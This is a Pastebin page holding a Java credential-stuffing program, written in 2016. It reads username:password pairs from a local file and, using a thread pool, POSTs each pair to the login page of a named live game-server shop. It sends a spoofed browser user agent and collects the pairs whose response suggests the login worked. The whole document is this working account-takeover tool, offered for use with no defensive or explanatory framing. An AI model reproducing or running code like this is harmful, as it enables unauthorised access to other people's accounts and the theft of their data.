Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.BufferedReader;
- import java.io.DataOutputStream;
- import java.io.FileReader;
- import java.io.InputStreamReader;
- import java.net.HttpURLConnection;
- import java.net.URL;
- import java.util.ArrayList;
- import java.util.List;
- import java.util.concurrent.Executors;
- import java.util.concurrent.ThreadPoolExecutor;
- /**
- * Created by callum on 26/12/2016.
- */
- public class Main {
- public static String[] data;
- public static List<String> working = new ArrayList<String>();
- public static int count = 0;
- public static String getUserData(Integer id) {
- String response = "";
- try {
- response = data[id];
- } catch (Exception e ) {
- System.out.println("failed to parse - " + id);
- }
- return response;
- }
- public static void main(String[] args) {
- try {
- BufferedReader in = new BufferedReader(new FileReader("C:/data/seren.txt"));
- String str;
- List<String> list = new ArrayList<String>();
- while((str = in.readLine()) != null){
- list.add(str);
- }
- data = list.toArray(new String[0]);
- } catch (Exception e) {
- e.printStackTrace();
- }
- ThreadPoolExecutor executor = (ThreadPoolExecutor) Executors.newCachedThreadPool();
- for (int i = 0; i <= data.length; i++)
- {
- SendPost post = new SendPost(i);
- System.out.println("A new task has been added : " + post.getName());
- executor.execute(post);
- }
- executor.shutdown();
- }
- }
- class SendPost implements Runnable {
- private Integer name;
- public SendPost(Integer name)
- {
- this.name = name;
- }
- public Integer getName() {
- return name;
- }
- public void run()
- {
- String data = "";
- try
- {
- data = Main.getUserData(name);
- String userAry[] = data.split(":");
- String username = userAry[0];
- String password = userAry[1];
- System.out.println("sending - " + name);
- String url = "http://serenps.com/shop/login.php";
- URL obj = new URL(url);
- HttpURLConnection con = (HttpURLConnection) obj.openConnection();
- con.setRequestMethod("POST");
- con.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36");
- con.setRequestProperty("Accept-Language", "en-US,en;q=0.5");
- String urlParameters = "submit=Submit&username=" + username + "&password=" + password;
- System.out.println(urlParameters);
- con.setDoOutput(true);
- DataOutputStream wr = new DataOutputStream(con.getOutputStream());
- wr.writeBytes(urlParameters);
- wr.flush();
- wr.close();
- int responseCode = con.getResponseCode();
- System.out.println("Response Code : " + responseCode);
- if (responseCode == 403) {
- Main.working.add(username + ":" + password);
- }
- BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
- String inputLine;
- StringBuffer response = new StringBuffer();
- while ((inputLine = in.readLine()) != null) {
- response.append(inputLine);
- }
- in.close();
- if (response.toString().toLowerCase().contains("username or password is incorrect")) {
- System.out.println("invalid username or password");
- } else {
- System.out.println("unknown result");
- }
- }
- catch (Exception e)
- {
- System.out.println("error on - " + data);
- } finally {
- Main.count += 1;
- System.out.println(Main.count + "/" + Main.data.length);
- if (Main.count >= Main.data.length) {
- System.out.println("----------------------------------------------");
- System.out.println("##############################################");
- System.out.println("----------------------------------------------");
- for (String s: Main.working) {
- System.out.println(s);
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement